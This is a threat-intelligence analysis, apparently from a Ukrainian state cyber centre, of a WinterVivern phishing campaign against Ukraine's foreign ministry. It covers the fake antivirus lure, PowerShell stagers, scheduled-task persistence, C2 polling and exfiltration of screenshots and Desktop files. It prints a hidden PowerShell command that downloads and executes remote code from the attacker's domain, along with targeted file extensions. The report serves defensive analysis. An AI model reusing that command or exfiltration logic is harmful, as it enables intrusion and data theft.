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Foreword

UAC-0114 (aka WinterVivern) is a group of undefined individuals (where Russian-speaking
members are present, highly likely) whose activity targets the European GOV entities.

Their recent campaign targeted Ukrainian and Polish government organizations, taking advantage
of fake web pages impersonating the legitimate web resources of the Ministry of Foreign Affairs
of Ukraine and the Central Cybercrime Bureau of Poland.

The adversary TTPs are quite common and known for using email subjects related to malware
scanning and benefiting from PowerShell scripts execution.

The analysis of recent campaign activity confirms that phishing technique remains the main
attack vector that adversaries use for gaining initial access.
However, Microsoft Excel documents with malicious XLM macros that distributed a RAT were
used in previous campaigns, attributed to the Wintervivern group.

Now a spearphishing link that leads to a fake website page hosting malware is used instead.

According to CERT-UA alert, the same technique was also used during the cyberattack,
conducted in June, 2022 with the usage of a spearphishing link leading to the fraudulent web
page imitating the web interface of the postal service of the Ministry of Defence of Ukraine.

One of the malicious .exe files named "Detection_of_malicious_software.exe" (APERETIF) that
was used during that cyberattack, contains specific path
"C:\Users\user_1\source\repos\Aperitivchick\Release\SystemProtector.pdb", that allows to

make assumption about the involvement of Russian-speaking members to the group with a high
level of confidence.
Based on the compilation date, the adversary activity with the usage of APERETIF malware can

be carried out no earlier than 25, May 2022.

Previously known exfiltration functionality was related to stealing highly detailed system
information (about operating system, computer hardware and software components; shared
domains, computers, or resources; network status and protocol statistics, network resources,
active system services statuses, active processes, current TCP/IP network configuration values,
applied group policies and so on) but it wasn't observed during the last campaign.

New PowerShell payload variants that contain instructions for data exfiltration are capable of

screen capturing and enumerating the files of specific extensions along with their content within
the Desktop folder.
Nevertheless, due to establishing persistence on the infected hosts, additional payloads can be
dropped and executed if needed.

The Cyber Incidents Response Operational Centre of the State Cyber Protection Centre of
Ukraine has prepared the detailed analysis of the activity representing the potential infection
chain is considered further in the report.

https://cert.gov.ua/article/3761104
https://www.virustotal.com/gui/file/a5115118908268569db2b1187b5b13b2cec9480585728d7da0abff38ecd771a6/detection


Infection Chain Overview

Fig1 - Infection chain overview



Initial Access
On January 30, 2023, a phishing email targeting The Ministry of Foreign Affairs of Ukraine was sent to the

corporate email address from outside the organization (sender mfa_it_sec@outlook.com).

Fig2 - Phishing email

The link hxxps://troadsecow[.]com/mfa[.]gov[.]ua was provided within the email. The link text indicates that it

would lead to mfa[.]gov[.]ua , but it actually leads to troadsecow[.]com , where a malicious .bat file is placed.

The web page hxxps://troadsecow[.]com/mfa[.]gov[.]ua impersonates the legitimate website of the Ministry

of Foreign Affairs of Ukraine and lures a user to download the software for scanning PCs for viruses.

Spearphishing link was used instead of attaching the malicious file to the email itself, to avoid email

attachments inspection mechanisms (as the .bat file, placed on hxxps://troadsecow[.]com/mfa[.]gov[.]ua
webpage, has numerous AV detections).



Fig3 - Malicious web-page hxxps://troadsecow[.]com/mfa[.]gov[.]ua

The user is assumed to click on “Завантажити” (“Download”) button, so that the file named “Protector.bat” is
downloaded.

Execution
Once the user double-clicks to open the file “Protector.bat”, it is executed with cmd.exe under

C:\Users\%USERPROFILE%\AppData\Local\Temp\ location, simulating the process of scanning the PC for
viruses. During execution, the message is displayed in the terminal window about the progress of scanning.

https://www.virustotal.com/gui/file/05457a790782542d3f16c9b8368a077b458ff7349856e6da541223a51e94b9c8/detection


Fig4 - Content of Protector.bat file

Start-Process cmdlet is used to start the process on the local computer with the hidden state of the windows

used for the process. The -argumentlist parameter contains the context about the user who is currently logged

on to the local system (retrieved from C:\Windows\system32\whoami.exe execution). This context about the

user is used when the Start-Process cmdlet starts the process.

WebClient.DownloadString method is used to download the requested resource as a string. The resource to

download is specified as a URI (hxxps://troadsecow[.]com/fjasmngptwq95824s[.]php).

Fig5 - Process tree



The unencoded response to the HTTPS GET request hxxps://troadsecow[.]com/fjasmngptwq95824s[.]php
contains PowerShell payload that is processed with powershell.exe utility.

System.Security.Principal.WindowsIdentity class is used to retrieve information about a Windows user (a

Windows NT security token). GetCurrent() method returns a WindowsIdentity object representing the current

user. User SID is saved under $a variable that is further used for creating the custom crafted HTTPS request

of hxxps://troadsecow[.]com/LG5362s5215098-xvbxzcnsaf4lmsa[.]php?idU=<User SID> format.

Fig6 - Response to HTTPS GET request hxxps://troadsecow[.]com/fjasmngptwq95824s[.]php

Persistence
The response to the custom crafted HTTPS GET request of

hxxps://troadsecow[.]com/LG5362s5215098-xvbxzcnsaf4lmsa[.]php?idU=<User SID> format contains

PowerShell payload that is processed with powershell.exe utility.

Fig7 - HTTPS GET request hxxps://troadsecow[.]com/LG5362s5215098-xvbxzcnsaf4lmsa[.]php?idU=<User SID>



Fig8 - PowerShell payload, received in the response to HTTPS GET request
hxxps://troadsecow[.]com/LG5362s5215098-xvbxzcnsaf4lmsa[.]php?idU=<User SID>

This PowerShell payload contains instructions for downloading .xml file from the hardcoded URL

hxxps://troadsecow[.]com/gkaslnwqpasg/fx64g15g[.]xml and saving it under application data directory

(C:\Users\%USERPROFILE%\AppData\Roaming/XmlSchemaMicrosoftXsd.xml location).

Fig9 - HTTPS GET request hxxps://troadsecow[.]com/gkaslnwqpasg/fx64g15g[.]xml

The content of XmlSchemaMicrosoftXsd.xml file describes the parameters of the scheduled task named

“Client_Update_Microsofts-{ITCUNTH-9D12-4RE1-8BWD-6HFI2D4FNI1I2}”.

Depending on the infected Microsoft Windows system version, one of two functions (“regSchTask” or

“regSchTask0”) is executed that initiates the scheduled task creation.

The scheduled task “Client_Update_Microsofts-{ITCUNTH-9D12-4RE1-8BWD-6HFI2D4FNI1I2}” is launched

when the user logs on (LogonTrigger is set) and executed with next Idle conditions:

- Duration (“PT10M”): the computer should be idle for 10 min before starting the task;

- WaitTimeout (“PT1H”): the Task Scheduler will wait for an idle state to occur for 1h after a
task trigger is activated or after the task is started on demand.

If the idle condition ends, the task will be terminated.



When the scheduled task is launched, the following command is executed:
powershell.exe  - w hidden  - c `"$g = New - Object Net.Webclient;
$g.credentials = [net.credentialcache]::DefaultNetworkCredentials;

iex $g.DownloadString('hxxps://troadsecow[.]com/gkaslnwqpasg/usersfolders/<User
SID>/d866faee5ad9d0bafaa5e0bf10615ac4beb63efd[.]php')`"

Fig10 - The content of XmlSchemaMicrosoftXsd.xml file

Fig11 - Scheduled task created Client_Update_Microsofts-{ITCUNTH-9D12-4RE1-8BWD-6HFI2D4FNI1I2}

Command and Control
This PowerShell script, received as a response to HTTPS request of

hxxps://troadsecow[.]com/LG5362s5215098-xvbxzcnsaf4lmsa[.]php?idU=<User SID> format also contains

instructions for establishing bidirectional C2 server communication with the usage of starter{} and

sendData{} functions.



The starter{} function contains the WebClient.DownloadString method for sending HTTPS requests to the C2
server in order to get instructions.

In case the Length property of the string, received within the response to HTTPS request to a hardcoded

hxxps://troadsecow[.]com/gkaslnwqpasg/usersfolders/<User SID>/
b9a6a2f6a2e1d946182eb464c9a64ab760953a77[.]php resource is greater or equal (-ge comparison
operator is used for validation) to “1” (if the response body is not empty), Invoke-Expression cmdlet forces
the execution of the received payload.

HTTPS requests to a hardcoded URL hxxps://troadsecow[.]com/gkaslnwqpasg/usersfolders/<User SID>/
b9a6a2f6a2e1d946182eb464c9a64ab760953a77[.]php are sent periodically with 10s interval in order to
check for the availability of new commands, received from the C2 server.

Fig12 - HTTPS GET request hxxps://troadsecow[.]com/gkaslnwqpasg/usersfolders/<User
SID>/b9a6a2f6a2e1d946182eb464c9a64ab760953a77[.]php

The sendData{} function contains WebClient.UploadString method for uploading the specified string

($message value joined with a new line character in our case) to the hardcoded URL

hxxps://troadsecow[.]com/gkaslnwqpasg/usersfolders/<User SID>/
add6b7efddbb62cd0546057c5c549d2742ed472d[.]php using the POST method (if $message value is not

equal (-ne comparison operator is used for validation) to $null).



The value of $message corresponds to the result of the string execution, received within the response to

the HTTPS request to a hardcoded hxxps://troadsecow[.]com/gkaslnwqpasg/usersfolders/<User SID>/
b9a6a2f6a2e1d946182eb464c9a64ab760953a77[.]php resource.

Fig13 - HTTPS POST request to hxxps://troadsecow[.]com/gkaslnwqpasg/usersfolders/<User
SID>/add6b7efddbb62cd0546057c5c549d2742ed472d[.]php

Data Exfiltration
The only variant of base64-encoded content received with HTTPS response to

hxxps://troadsecow[.]com/gkaslnwqpasg/usersfolders/<User SID>/
b9a6a2f6a2e1d946182eb464c9a64ab760953a77[.]php corresponds to another PowerShell payload, that
contains the functionality of taking screenshots and recursive scanning the Desktop folder for files with the
specified extensions and sending it in base64-encoded format to hardcoded URLs.

The System.Drawing object within the screenshot{} function is used to capture the screenshots

(CopyFromScreen method is used for a bit-block transfer of color data, corresponding to a rectangle of
pixels, from the screen) on the infected machine of custom width and height.

Fig14 - PowerShell payload for exfiltrating data



New directory C:\Users\Public\MicrosoftUpdateClient is created and the screenshot is saved under

C:\Users\Public\MicrosoftUpdateClient\Microsoft_update_tool_<counter>.dat location, where counter is the
value appointed after incrementing the operand $i.

Fig15 - The process of screenshots making and sending to C2 server, processed with powershell.exe

After base64-encoded screenshot is sent over HTTPS POST request to a hardcoded URL

hxxps://troadsecow[.]com/76bja21412/c6bd801d882333fdb93dd17308b3e2de3a78cc05_[.]php , it is

forcely deleted from C:\Users\Public\MicrosoftUpdateClient\Microsoft_update_tool_<counter>.dat location.

Fig16 - Screenshot sent via HTTPS POST request

The same PowerShell payload, received with the response to

hxxps://troadsecow[.]com/gkaslnwqpasg/usersfolders/<User SID>/
b9a6a2f6a2e1d946182eb464c9a64ab760953a77[.]php resource request, also describes cmdlets

execution for recursive scanning the Desktop folder for files with the specified extensions (.edb, .ems, .eme,
.emz, .key, .pem, .ovpn, .bat, .cer, .p12, .cfg, .log, .txt, .pdf, .doc, .docx, .xls, .xlsx, .rdg).



Fig17 - The process of enumerating files under Desktop folder and sending to C2 server, processed with powershell.exe

The unencoded full paths to the files, that match the searching criteria, as well as with their content (in
base64-encoded format) are delimited with “###” separator and sent via POST request to the hardcoded

URL hxxps://troadsecow[.]com/76bja21412/c6bd801d882333fdb93dd17308b3e2de3a78cc05_1[.]php .

Fig18 - POST request to hxxps://troadsecow[.]com/76bja21412/c6bd801d882333fdb93dd17308b3e2de3a78cc05_1[.]php

Afterword
Analyzing the activity that was previously described and attributed to WinterVivern group by DomainTools

and Lab52, next similarities can be noticed:
- similar code structure and syntax (even with the same function names and whole sections),

used for describing payloads functionality;
- active usage of PowerShell instrumentarium for malicious code execution on the infected PC;
- abusing the Windows Management Instrumentation (WMI) in order to retrieve information

about the active user account on a computer running infected Windows system version;
- the same mechanism of checking the infected Windows system version is used in order to

define which function (out of two variants) will be used to initiate the scheduled task creation;
- downloaded .xml document is used to establish the scheduled task for persistence;
- using a similar scheduled task name format;
- the same logic of functions starter{}, sendData{} are used for establishing persistence by

periodic execution for checking the availability of new commands from the C2 server,
executing them and sending the result back.

Therefore, the activity, analyzed in this report, can be attributed to the UAC-0114 (aka WinterVivern) group
(referring to the keyword that was used in the URL path during previous campaigns) with a high level of
confidence.

https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/
https://lab52.io/blog/winter-vivern-all-summer/
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